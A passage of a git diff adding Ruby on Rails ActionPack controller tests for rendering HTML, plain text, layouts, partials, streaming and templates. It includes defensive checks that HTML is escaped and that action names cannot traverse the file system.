+      render html: nil, status: 403
+    end
+
+    def with_false
+      render html: false
+    end
+
+    def with_layout_true
+      render html: "hello world", layout: true
+    end
+
+    def with_layout_false
+      render html: "hello world", layout: false
+    end
+
+    def with_layout_nil
+      render html: "hello world", layout: nil
+    end
+
+    def with_custom_layout
+      render html: "hello world", layout: "greetings"
+    end
+
+    def with_ivar_in_layout
+      @ivar = "hello world"
+      render html: "hello world", layout: "ivar"
+    end
+
+    def with_unsafe_html_tag
+      render html: "<p>hello world</p>", layout: nil
+    end
+
+    def with_safe_html_tag
+      render html: "<p>hello world</p>".html_safe, layout: nil
+    end
+  end
+
+  class RenderHtmlTest < Rack::TestCase
+    test "rendering text from a minimal controller" do
+      get "/render_html/minimal/index"
+      assert_body "Hello World!"
+      assert_status 200
+    end
+
+    test "rendering text from an action with default options renders the text with the layout" do
+      with_routing do |set|
+        set.draw { ActiveSupport::Deprecation.silence { get ":controller", action: "index" } }
+
+        get "/render_html/simple"
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering text from an action with default options renders the text without the layout" do
+      with_routing do |set|
+        set.draw { ActiveSupport::Deprecation.silence { get ":controller", action: "index" } }
+
+        get "/render_html/with_layout"
+
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering text, while also providing a custom status code" do
+      get "/render_html/with_layout/custom_code"
+
+      assert_body "hello world"
+      assert_status 404
+    end
+
+    test "rendering text with nil returns an empty body" do
+      get "/render_html/with_layout/with_nil"
+
+      assert_body ""
+      assert_status 200
+    end
+
+    test "Rendering text with nil and custom status code returns an empty body and the status" do
+      get "/render_html/with_layout/with_nil_and_status"
+
+      assert_body ""
+      assert_status 403
+    end
+
+    test "rendering text with false returns the string 'false'" do
+      get "/render_html/with_layout/with_false"
+
+      assert_body "false"
+      assert_status 200
+    end
+
+    test "rendering text with layout: true" do
+      get "/render_html/with_layout/with_layout_true"
+
+      assert_body "hello world, I'm here!"
+      assert_status 200
+    end
+
+    test "rendering text with layout: 'greetings'" do
+      get "/render_html/with_layout/with_custom_layout"
+
+      assert_body "hello world, I wish thee well."
+      assert_status 200
+    end
+
+    test "rendering text with layout: false" do
+      get "/render_html/with_layout/with_layout_false"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+
+    test "rendering text with layout: nil" do
+      get "/render_html/with_layout/with_layout_nil"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+
+    test "rendering html should escape the string if it is not html safe" do
+      get "/render_html/with_layout/with_unsafe_html_tag"
+
+      assert_body "&lt;p&gt;hello world&lt;/p&gt;"
+      assert_status 200
+    end
+
+    test "rendering html should not escape the string if it is html safe" do
+      get "/render_html/with_layout/with_safe_html_tag"
+
+      assert_body "<p>hello world</p>"
+      assert_status 200
+    end
+
+    test "rendering from minimal controller returns response with text/html content type" do
+      get "/render_html/minimal/index"
+      assert_content_type "text/html; charset=utf-8"
+    end
+
+    test "rendering from normal controller returns response with text/html content type" do
+      get "/render_html/simple/index"
+      assert_content_type "text/html; charset=utf-8"
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_implicit_action_test.rb b/actionpack/test/controller/new_base/render_implicit_action_test.rb
new file mode 100644
index 0000000000..8c26d34b00
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_implicit_action_test.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module RenderImplicitAction
+  class SimpleController < ::ApplicationController
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "render_implicit_action/simple/hello_world.html.erb"     => "Hello world!",
+      "render_implicit_action/simple/hyphen-ated.html.erb"     => "Hello hyphen-ated!",
+      "render_implicit_action/simple/not_implemented.html.erb" => "Not Implemented"
+    ), ActionView::FileSystemResolver.new(File.expand_path("../../controller", __dir__))]
+
+    def hello_world() end
+  end
+
+  class RenderImplicitActionTest < Rack::TestCase
+    test "render a simple action with new explicit call to render" do
+      get "/render_implicit_action/simple/hello_world"
+
+      assert_body   "Hello world!"
+      assert_status 200
+    end
+
+    test "render an action with a missing method and has special characters" do
+      get "/render_implicit_action/simple/hyphen-ated"
+
+      assert_body   "Hello hyphen-ated!"
+      assert_status 200
+    end
+
+    test "render an action called not_implemented" do
+      get "/render_implicit_action/simple/not_implemented"
+
+      assert_body   "Not Implemented"
+      assert_status 200
+    end
+
+    test "render does not traverse the file system" do
+      assert_raises(AbstractController::ActionNotFound) do
+        action_name = %w(.. .. fixtures shared).join(File::SEPARATOR)
+        SimpleController.action(action_name).call(Rack::MockRequest.env_for("/"))
+      end
+    end
+
+    test "available_action? returns true for implicit actions" do
+      assert SimpleController.new.available_action?(:hello_world)
+      assert SimpleController.new.available_action?(:"hyphen-ated")
+      assert SimpleController.new.available_action?(:not_implemented)
+    end
+
+    test "available_action? does not allow File::SEPARATOR on the name" do
+      action_name = %w(evil .. .. path).join(File::SEPARATOR)
+      assert_equal false, SimpleController.new.available_action?(action_name.to_sym)
+
+      action_name = %w(evil path).join(File::SEPARATOR)
+      assert_equal false, SimpleController.new.available_action?(action_name.to_sym)
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_layout_test.rb b/actionpack/test/controller/new_base/render_layout_test.rb
new file mode 100644
index 0000000000..806c6206dc
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_layout_test.rb
@@ -0,0 +1,128 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ControllerLayouts
+  class ImplicitController < ::ApplicationController
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "layouts/application.html.erb" => "Main <%= yield %> Layout",
+      "layouts/override.html.erb"    => "Override! <%= yield %>",
+      "basic.html.erb"               => "Hello world!",
+      "controller_layouts/implicit/layout_false.html.erb" => "hi(layout_false.html.erb)"
+    )]
+
+    def index
+      render template: "basic"
+    end
+
+    def override
+      render template: "basic", layout: "override"
+    end
+
+    def layout_false
+      render layout: false
+    end
+
+    def builder_override
+    end
+  end
+
+  class ImplicitNameController < ::ApplicationController
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "layouts/controller_layouts/implicit_name.html.erb" => "Implicit <%= yield %> Layout",
+      "basic.html.erb" => "Hello world!"
+    )]
+
+    def index
+      render template: "basic"
+    end
+  end
+
+  class RenderLayoutTest < Rack::TestCase
+    test "rendering a normal template, but using the implicit layout" do
+      get "/controller_layouts/implicit/index"
+
+      assert_body   "Main Hello world! Layout"
+      assert_status 200
+    end
+
+    test "rendering a normal template, but using an implicit NAMED layout" do
+      get "/controller_layouts/implicit_name/index"
+
+      assert_body "Implicit Hello world! Layout"
+      assert_status 200
+    end
+
+    test "overriding an implicit layout with render :layout option" do
+      get "/controller_layouts/implicit/override"
+      assert_body "Override! Hello world!"
+    end
+  end
+
+  class LayoutOptionsTest < Rack::TestCase
+    testing ControllerLayouts::ImplicitController
+
+    test "rendering with :layout => false leaves out the implicit layout" do
+      get :layout_false
+      assert_response "hi(layout_false.html.erb)"
+    end
+  end
+
+  class MismatchFormatController < ::ApplicationController
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "layouts/application.html.erb" => "<html><%= yield %></html>",
+      "controller_layouts/mismatch_format/index.xml.builder" => "xml.instruct!",
+      "controller_layouts/mismatch_format/implicit.builder" => "xml.instruct!",
+      "controller_layouts/mismatch_format/explicit.js.erb" => "alert('foo');"
+    )]
+
+    def explicit
+      render layout: "application"
+    end
+  end
+
+  class MismatchFormatTest < Rack::TestCase
+    testing ControllerLayouts::MismatchFormatController
+
+    XML_INSTRUCT = %Q(<?xml version="1.0" encoding="UTF-8"?>\n)
+
+    test "if XML is selected, an HTML template is not also selected" do
+      get :index, params: { format: "xml" }
+      assert_response XML_INSTRUCT
+    end
+
+    test "if XML is implicitly selected, an HTML template is not also selected" do
+      get :implicit
+      assert_response XML_INSTRUCT
+    end
+
+    test "a layout for JS is ignored even if explicitly provided for HTML" do
+      get :explicit, params: { format: "js" }
+      assert_response "alert('foo');"
+    end
+  end
+
+  class FalseLayoutMethodController < ::ApplicationController
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "controller_layouts/false_layout_method/index.js.erb" => "alert('foo');"
+    )]
+
+    layout :which_layout?
+
+    def which_layout?
+      false
+    end
+
+    def index
+    end
+  end
+
+  class FalseLayoutMethodTest < Rack::TestCase
+    testing ControllerLayouts::FalseLayoutMethodController
+
+    test "access false layout returned by a method/proc" do
+      get :index, params: { format: "js" }
+      assert_response "alert('foo');"
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_partial_test.rb b/actionpack/test/controller/new_base/render_partial_test.rb
new file mode 100644
index 0000000000..a0c7cbc686
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_partial_test.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module RenderPartial
+  class BasicController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "render_partial/basic/_basic.html.erb"      => "BasicPartial!",
+      "render_partial/basic/basic.html.erb"       => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'basic' %><%= @test_unchanged %>",
+      "render_partial/basic/with_json.html.erb"   => "<%= render :partial => 'with_json', :formats => [:json] %>",
+      "render_partial/basic/_with_json.json.erb"  => "<%= render :partial => 'final', :formats => [:json] %>",
+      "render_partial/basic/_final.json.erb"      => "{ final: json }",
+      "render_partial/basic/overridden.html.erb"  => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'overridden' %><%= @test_unchanged %>",
+      "render_partial/basic/_overridden.html.erb" => "ParentPartial!",
+      "render_partial/child/_overridden.html.erb" => "OverriddenPartial!"
+    )]
+
+    def html_with_json_inside_json
+      render action: "with_json"
+    end
+
+    def changing
+      @test_unchanged = "hello"
+      render action: "basic"
+    end
+
+    def overridden
+      @test_unchanged = "hello"
+    end
+  end
+
+  class ChildController < BasicController; end
+
+  class TestPartial < Rack::TestCase
+    testing BasicController
+
+    test "rendering a partial in ActionView doesn't pull the ivars again from the controller" do
+      get :changing
+      assert_response("goodbyeBasicPartial!goodbye")
+    end
+
+    test "rendering a template with renders another partial with other format that renders other partial in the same format" do
+      get :html_with_json_inside_json
+      assert_content_type "text/html; charset=utf-8"
+      assert_response "{ final: json }"
+    end
+  end
+
+  class TestInheritedPartial < Rack::TestCase
+    testing ChildController
+
+    test "partial from parent controller gets picked if missing in child one" do
+      get :changing
+      assert_response("goodbyeBasicPartial!goodbye")
+    end
+
+    test "partial from child controller gets picked" do
+      get :overridden
+      assert_response("goodbyeOverriddenPartial!goodbye")
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_plain_test.rb b/actionpack/test/controller/new_base/render_plain_test.rb
new file mode 100644
index 0000000000..640979e4f5
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_plain_test.rb
@@ -0,0 +1,170 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module RenderPlain
+  class MinimalController < ActionController::Metal
+    include AbstractController::Rendering
+    include ActionController::Rendering
+
+    def index
+      render plain: "Hello World!"
+    end
+  end
+
+  class SimpleController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new]
+
+    def index
+      render plain: "hello david"
+    end
+  end
+
+  class WithLayoutController < ::ApplicationController
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "layouts/application.text.erb" => "<%= yield %>, I'm here!",
+      "layouts/greetings.text.erb"   => "<%= yield %>, I wish thee well.",
+      "layouts/ivar.text.erb"        => "<%= yield %>, <%= @ivar %>"
+    )]
+
+    def index
+      render plain: "hello david"
+    end
+
+    def custom_code
+      render plain: "hello world", status: 404
+    end
+
+    def with_custom_code_as_string
+      render plain: "hello world", status: "404 Not Found"
+    end
+
+    def with_nil
+      render plain: nil
+    end
+
+    def with_nil_and_status
+      render plain: nil, status: 403
+    end
+
+    def with_false
+      render plain: false
+    end
+
+    def with_layout_true
+      render plain: "hello world", layout: true
+    end
+
+    def with_layout_false
+      render plain: "hello world", layout: false
+    end
+
+    def with_layout_nil
+      render plain: "hello world", layout: nil
+    end
+
+    def with_custom_layout
+      render plain: "hello world", layout: "greetings"
+    end
+
+    def with_ivar_in_layout
+      @ivar = "hello world"
+      render plain: "hello world", layout: "ivar"
+    end
+  end
+
+  class RenderPlainTest < Rack::TestCase
+    test "rendering text from a minimal controller" do
+      get "/render_plain/minimal/index"
+      assert_body "Hello World!"
+      assert_status 200
+    end
+
+    test "rendering text from an action with default options renders the text with the layout" do
+      with_routing do |set|
+        set.draw { ActiveSupport::Deprecation.silence { get ":controller", action: "index" } }
+
+        get "/render_plain/simple"
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering text from an action with default options renders the text without the layout" do
+      with_routing do |set|
+        set.draw { ActiveSupport::Deprecation.silence { get ":controller", action: "index" } }
+
+        get "/render_plain/with_layout"
+
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering text, while also providing a custom status code" do
+      get "/render_plain/with_layout/custom_code"
+
+      assert_body "hello world"
+      assert_status 404
+    end
+
+    test "rendering text with nil returns an empty body" do
+      get "/render_plain/with_layout/with_nil"
+
+      assert_body ""
+      assert_status 200
+    end
+
+    test "Rendering text with nil and custom status code returns an empty body and the status" do
+      get "/render_plain/with_layout/with_nil_and_status"
+
+      assert_body ""
+      assert_status 403
+    end
+
+    test "rendering text with false returns the string 'false'" do
+      get "/render_plain/with_layout/with_false"
+
+      assert_body "false"
+      assert_status 200
+    end
+
+    test "rendering text with layout: true" do
+      get "/render_plain/with_layout/with_layout_true"
+
+      assert_body "hello world, I'm here!"
+      assert_status 200
+    end
+
+    test "rendering text with layout: 'greetings'" do
+      get "/render_plain/with_layout/with_custom_layout"
+
+      assert_body "hello world, I wish thee well."
+      assert_status 200
+    end
+
+    test "rendering text with layout: false" do
+      get "/render_plain/with_layout/with_layout_false"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+
+    test "rendering text with layout: nil" do
+      get "/render_plain/with_layout/with_layout_nil"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+
+    test "rendering from minimal controller returns response with text/plain content type" do
+      get "/render_plain/minimal/index"
+      assert_content_type "text/plain; charset=utf-8"
+    end
+
+    test "rendering from normal controller returns response with text/plain content type" do
+      get "/render_plain/simple/index"
+      assert_content_type "text/plain; charset=utf-8"
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_streaming_test.rb b/actionpack/test/controller/new_base/render_streaming_test.rb
new file mode 100644
index 0000000000..23dc6bca40
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_streaming_test.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module RenderStreaming
+  class BasicController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "render_streaming/basic/hello_world.html.erb" => "Hello world",
+      "render_streaming/basic/boom.html.erb" => "<%= raise 'Ruby was here!' %>",
+      "layouts/application.html.erb" => "<%= yield %>, I'm here!",
+      "layouts/boom.html.erb" => "<body class=\"<%= nil.invalid! %>\"<%= yield %></body>"
+    )]
+
+    layout "application"
+
+    def hello_world
+      render stream: true
+    end
+
+    def layout_exception
+      render action: "hello_world", stream: true, layout: "boom"
+    end
+
+    def template_exception
+      render action: "boom", stream: true
+    end
+
+    def skip
+      render action: "hello_world", stream: false
+    end
+
+    def explicit
+      render action: "hello_world", stream: true
+    end
+
+    def no_layout
+      render action: "hello_world", stream: true, layout: false
+    end
+
+    def explicit_cache
+      headers["Cache-Control"] = "private"
+      render action: "hello_world", stream: true
+    end
+  end
+
+  class StreamingTest < Rack::TestCase
+    test "rendering with streaming enabled at the class level" do
+      get "/render_streaming/basic/hello_world"
+      assert_body "b\r\nHello world\r\nb\r\n, I'm here!\r\n0\r\n\r\n"
+      assert_streaming!
+    end
+
+    test "rendering with streaming given to render" do
+      get "/render_streaming/basic/explicit"
+      assert_body "b\r\nHello world\r\nb\r\n, I'm here!\r\n0\r\n\r\n"
+      assert_streaming!
+    end
+
+    test "rendering with streaming do not override explicit cache control given to render" do
+      get "/render_streaming/basic/explicit_cache"
+      assert_body "b\r\nHello world\r\nb\r\n, I'm here!\r\n0\r\n\r\n"
+      assert_streaming! "private"
+    end
+
+    test "rendering with streaming no layout" do
+      get "/render_streaming/basic/no_layout"
+      assert_body "b\r\nHello world\r\n0\r\n\r\n"
+      assert_streaming!
+    end
+
+    test "skip rendering with streaming at render level" do
+      get "/render_streaming/basic/skip"
+      assert_body "Hello world, I'm here!"
+    end
+
+    test "rendering with layout exception" do
+      get "/render_streaming/basic/layout_exception"
+      assert_body "d\r\n<body class=\"\r\n37\r\n\"><script>window.location = \"/500.html\"</script></html>\r\n0\r\n\r\n"
+      assert_streaming!
+    end
+
+    test "rendering with template exception" do
+      get "/render_streaming/basic/template_exception"
+      assert_body "37\r\n\"><script>window.location = \"/500.html\"</script></html>\r\n0\r\n\r\n"
+      assert_streaming!
+    end
+
+    test "rendering with template exception logs the exception" do
+      io = StringIO.new
+      _old, ActionView::Base.logger = ActionView::Base.logger, ActiveSupport::Logger.new(io)
+
+      begin
+        get "/render_streaming/basic/template_exception"
+        io.rewind
+        assert_match "Ruby was here!", io.read
+      ensure
+        ActionView::Base.logger = _old
+      end
+    end
+
+    test "do not stream on HTTP/1.0" do
+      get "/render_streaming/basic/hello_world", headers: { "HTTP_VERSION" => "HTTP/1.0" }
+      assert_body "Hello world, I'm here!"
+      assert_status 200
+      assert_equal "22", headers["Content-Length"]
+      assert_nil headers["Transfer-Encoding"]
+    end
+
+    def assert_streaming!(cache = "no-cache")
+      assert_status 200
+      assert_nil headers["Content-Length"]
+      assert_equal "chunked", headers["Transfer-Encoding"]
+      assert_equal cache, headers["Cache-Control"]
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_template_test.rb b/actionpack/test/controller/new_base/render_template_test.rb
new file mode 100644
index 0000000000..14dc958475
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_template_test.rb
@@ -0,0 +1,240 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module RenderTemplate
+  class WithoutLayoutController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "test/basic.html.erb"        => "Hello from basic.html.erb",
+      "shared.html.erb"            => "Elastica",
+      "locals.html.erb"            => "The secret is <%= secret %>",
+      "xml_template.xml.builder"   => "xml.html do\n  xml.p 'Hello'\nend",
+      "with_raw.html.erb"          => "Hello <%=raw '<strong>this is raw</strong>' %>",
+      "with_implicit_raw.html.erb" => "Hello <%== '<strong>this is also raw</strong>' %> in an html template",
+      "with_implicit_raw.text.erb" => "Hello <%== '<strong>this is also raw</strong>' %> in a text template",
+      "test/with_json.html.erb"    => "<%= render :template => 'test/with_json', :formats => [:json] %>",
+      "test/with_json.json.erb"    => "<%= render :template => 'test/final', :formats => [:json]  %>",
+      "test/final.json.erb"        => "{ final: json }",
+      "test/with_error.html.erb"   => "<%= raise 'i do not exist' %>"
+    )]
+
+    def index
+      render template: "test/basic"
+    end
+
+    def html_with_json_inside_json
+      render template: "test/with_json"
+    end
+
+    def index_without_key
+      render "test/basic"
+    end
+
+    def in_top_directory
+      render template: "shared"
+    end
+
+    def in_top_directory_with_slash
+      render template: "/shared"
+    end
+
+    def in_top_directory_with_slash_without_key
+      render "/shared"
+    end
+
+    def with_locals
+      render template: "locals", locals: { secret: "area51" }
+    end
+
+    def with_locals_without_key
+      render "locals", locals: { secret: "area51" }
+    end
+
+    def builder_template
+      render template: "xml_template"
+    end
+
+    def with_raw
+      render template: "with_raw"
+    end
+
+    def with_implicit_raw
+      render template: "with_implicit_raw"
+    end
+
+    def with_error
+      render template: "test/with_error"
+    end
+
+    private
+
+      def show_detailed_exceptions?
+        request.local?
+      end
+  end
+
+  class TestWithoutLayout < Rack::TestCase
+    testing RenderTemplate::WithoutLayoutController
+
+    test "rendering a normal template with full path without layout" do
+      get :index
+      assert_response "Hello from basic.html.erb"
+    end
+
+    test "rendering a normal template with full path without layout without key" do
+      get :index_without_key
+      assert_response "Hello from basic.html.erb"
+    end
+
+    test "rendering a template not in a subdirectory" do
+      get :in_top_directory
+      assert_response "Elastica"
+    end
+
+    test "rendering a template not in a subdirectory with a leading slash" do
+      get :in_top_directory_with_slash
+      assert_response "Elastica"
+    end
+
+    test "rendering a template not in a subdirectory with a leading slash without key" do
+      get :in_top_directory_with_slash_without_key
+      assert_response "Elastica"
+    end
+
+    test "rendering a template with local variables" do
+      get :with_locals
+      assert_response "The secret is area51"
+    end
+
+    test "rendering a template with local variables without key" do
+      get :with_locals
+      assert_response "The secret is area51"
+    end
+
+    test "rendering a builder template" do
+      get :builder_template, params: { "format" => "xml" }
+      assert_response "<html>\n  <p>Hello</p>\n</html>\n"
+    end
+
+    test "rendering a template with <%=raw stuff %>" do
+      get :with_raw
+
+      assert_body "Hello <strong>this is raw</strong>"
+      assert_status 200
+
+      get :with_implicit_raw
+
+      assert_body "Hello <strong>this is also raw</strong> in an html template"
+      assert_status 200
+
+      get :with_implicit_raw, params: { format: "text" }
+
+      assert_body "Hello <strong>this is also raw</strong> in a text template"
+      assert_status 200
+    end
+
+    test "rendering a template with renders another template with other format that renders other template in the same format" do
+      get :html_with_json_inside_json
+      assert_content_type "text/html; charset=utf-8"
+      assert_response "{ final: json }"
+    end
+
+    test "rendering a template with error properly excerts the code" do
+      get :with_error
+      assert_status 500
+      assert_match "i do not exist", response.body
+    end
+  end
+
+  class WithLayoutController < ::ApplicationController
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "test/basic.html.erb"          => "Hello from basic.html.erb",
+      "shared.html.erb"              => "Elastica",
+      "layouts/application.html.erb" => "<%= yield %>, I'm here!",
+      "layouts/greetings.html.erb"   => "<%= yield %>, I wish thee well."
+    )]
+
+    def index
+      render template: "test/basic"
+    end
+
+    def with_layout
+      render template: "test/basic", layout: true
+    end
+
+    def with_layout_false
+      render template: "test/basic", layout: false
+    end
+
+    def with_layout_nil
+      render template: "test/basic", layout: nil
+    end
+
+    def with_custom_layout
+      render template: "test/basic", layout: "greetings"
+    end
+  end
+
+  class TestWithLayout < Rack::TestCase
+    test "rendering with implicit layout" do
+      with_routing do |set|
+        set.draw { ActiveSupport::Deprecation.silence { get ":controller", action: :index } }
+
+        get "/render_template/with_layout"
+
+        assert_body "Hello from basic.html.erb, I'm here!"
+        assert_status 200
+      end
+    end
+
+    test "rendering with layout => true" do
+      get "/render_template/with_layout/with_layout"
+
+      assert_body "Hello from basic.html.erb, I'm here!"
+      assert_status 200
+    end
+
+    test "rendering with layout => false" do
+      get "/render_template/with_layout/with_layout_false"
+
+      assert_body "Hello from basic.html.erb"
+      assert_status 200
+    end
+
+    test "rendering with layout => nil" do
+      get "/render_template/with_layout/with_layout_nil"
+
+      assert_body "Hello from basic.html.erb"
+      assert_status 200
+    end
+
+    test "rendering layout => 'greetings'" do
+      get "/render_template/with_layout/with_custom_layout"
+
+      assert_body "Hello from basic.html.erb, I wish thee well."
+      assert_status 200
+    end
+  end
+
+  module Compatibility
+    class WithoutLayoutController < ActionController::Base
+      self.view_paths = [ActionView::FixtureResolver.new(
+        "test/basic.html.erb" => "Hello from basic.html.erb",
+        "shared.html.erb"     => "Elastica"
+      )]
+
+      def with_forward_slash
+        render template: "/test/basic"
+      end
+    end
+
+    class TestTemplateRenderWithForwardSlash < Rack::TestCase
+      test "rendering a normal template with full path starting with a leading slash" do
+        get "/render_template/compatibility/without_layout/with_forward_slash"
+
+        assert_body "Hello from basic.html.erb"
+        assert_status 200
+      end
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_test.rb b/actionpack/test/controller/new_base/render_test.rb
new file mode 100644
index 0000000000..eb29203f59
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_test.rb
@@ -0,0 +1,142 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module Render
+  class BlankRenderController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "render/blank_render/index.html.erb"                  => "Hello world!",
+      "render/blank_render/access_request.html.erb"         => "The request: <%= request.method.to_s.upcase %>",
+      "render/blank_render/access_action_name.html.erb"     => "Action Name: <%= action_name %>",
+      "render/blank_render/access_controller_name.html.erb" => "Controller Name: <%= controller_name %>",
+      "render/blank_render/overridden_with_own_view_paths_appended.html.erb"  => "parent content",
+      "render/blank_render/overridden_with_own_view_paths_prepended.html.erb" => "parent content",
+      "render/blank_render/overridden.html.erb"             => "parent content",
+      "render/child_render/overridden.html.erb"             => "child content"
+    )]
+
+    def index
+      render
+    end
+
+    def access_request
+      render action: "access_request"
+    end
+
+    def render_action_name
+      render action: "access_action_name"
+    end
+
+    def overridden_with_own_view_paths_appended
+    end
+
+    def overridden_with_own_view_paths_prepended
+    end
+
+    def overridden
+    end
+
+    private
+
+      def secretz
+        render plain: "FAIL WHALE!"
+      end
+  end
+
+  class DoubleRenderController < ActionController::Base
+    def index
+      render plain: "hello"
+      render plain: "world"
+    end
+  end
+
+  class ChildRenderController < BlankRenderController
+    append_view_path ActionView::FixtureResolver.new("render/child_render/overridden_with_own_view_paths_appended.html.erb" => "child content")
+    prepend_view_path ActionView::FixtureResolver.new("render/child_render/overridden_with_own_view_paths_prepended.html.erb" => "child content")
+  end
+
+  class RenderTest < Rack::TestCase
+    test "render with blank" do
+      with_routing do |set|
+        set.draw do
+          ActiveSupport::Deprecation.silence do
+            get ":controller", action: "index"
+          end
+        end
+
+        get "/render/blank_render"
+
+        assert_body "Hello world!"
+        assert_status 200
+      end
+    end
+
+    test "rendering more than once raises an exception" do
+      with_routing do |set|
+        set.draw do
+          ActiveSupport::Deprecation.silence do
+            get ":controller", action: "index"
+          end
+        end
+
+        assert_raises(AbstractController::DoubleRenderError) do
+          get "/render/double_render", headers: { "action_dispatch.show_exceptions" => false }
+        end
+      end
+    end
+  end
+
+  class TestOnlyRenderPublicActions < Rack::TestCase
+    # Only public methods on actual controllers are callable actions
+    test "raises an exception when a method of Object is called" do
+      assert_raises(AbstractController::ActionNotFound) do
+        get "/render/blank_render/clone", headers: { "action_dispatch.show_exceptions" => false }
+      end
+    end
+
+    test "raises an exception when a private method is called" do
+      assert_raises(AbstractController::ActionNotFound) do
+        get "/render/blank_render/secretz", headers: { "action_dispatch.show_exceptions" => false }
+      end
+    end
+  end
+
+  class TestVariousObjectsAvailableInView < Rack::TestCase
+    test "The request object is accessible in the view" do
+      get "/render/blank_render/access_request"
+      assert_body "The request: GET"
+    end
+
+    test "The action_name is accessible in the view" do
+      get "/render/blank_render/render_action_name"
+      assert_body "Action Name: render_action_name"
+    end
+
+    test "The controller_name is accessible in the view" do
+      get "/render/blank_render/access_controller_name"
+      assert_body "Controller Name: blank_render"
+    end
+  end
+
+  class TestViewInheritance < Rack::TestCase
+    test "Template from child controller gets picked over parent one" do
+      get "/render/child_render/overridden"
+      assert_body "child content"
+    end
+
+    test "Template from child controller with custom view_paths prepended gets picked over parent one" do
+      get "/render/child_render/overridden_with_own_view_paths_prepended"
+      assert_body "child content"
+    end
+
+    test "Template from child controller with custom view_paths appended gets picked over parent one" do
+      get "/render/child_render/overridden_with_own_view_paths_appended"
+      assert_body "child content"
+    end
+
+    test "Template from parent controller gets picked if missing in child controller" do
+      get "/render/child_render/index"
+      assert_body "Hello world!"
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_xml_test.rb b/actionpack/test/controller/new_base/render_xml_test.rb
new file mode 100644
index 0000000000..0dc16d64e2
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_xml_test.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module RenderXml
+  # This has no layout and it works
+  class BasicController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "render_xml/basic/with_render_erb" => "Hello world!"
+    )]
+  end
+end
diff --git a/actionpack/test/controller/output_escaping_test.rb b/actionpack/test/controller/output_escaping_test.rb
new file mode 100644
index 0000000000..e33a99068f
--- /dev/null
+++ b/actionpack/test/controller/output_escaping_test.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class OutputEscapingTest < ActiveSupport::TestCase
+  test "escape_html shouldn't die when passed nil" do
+    assert ERB::Util.h(nil).blank?
+  end
+
+  test "escapeHTML should escape strings" do
+    assert_equal "&lt;&gt;&quot;", ERB::Util.h("<>\"")
+  end
+
+  test "escapeHTML shouldn't touch explicitly safe strings" do
+    assert_equal "<", ERB::Util.h("<".html_safe)
+  end
+end
diff --git a/actionpack/test/controller/parameter_encoding_test.rb b/actionpack/test/controller/parameter_encoding_test.rb
new file mode 100644
index 0000000000..e2194e8974
--- /dev/null
+++ b/actionpack/test/controller/parameter_encoding_test.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ParameterEncodingController < ActionController::Base
+  skip_parameter_encoding :test_bar
+  skip_parameter_encoding :test_all_values_encoding
+
+  def test_foo
+    render body: params[:foo].encoding
+  end
+
+  def test_bar
+    render body: params[:bar].encoding
+  end
+
+  def test_all_values_encoding
+    render body: ::JSON.dump(params.values.map(&:encoding).map(&:name))
+  end
+end
+
+class ParameterEncodingTest < ActionController::TestCase
+  tests ParameterEncodingController
+
+  test "properly transcodes UTF8 parameters into declared encodings" do
+    post :test_foo, params: { "foo" => "foo", "bar" => "bar", "baz" => "baz" }
+
+    assert_response :success
+    assert_equal "UTF-8", @response.body
+  end
+
+  test "properly encodes ASCII_8BIT parameters into binary" do
+    post :test_bar, params: { "foo" => "foo", "bar" => "bar", "baz" => "baz" }
+
+    assert_response :success
+    assert_equal "ASCII-8BIT", @response.body
+  end
+
+  test "properly encodes all ASCII_8BIT parameters into binary" do
+    post :test_all_values_encoding, params: { "foo" => "foo", "bar" => "bar", "baz" => "baz" }
+
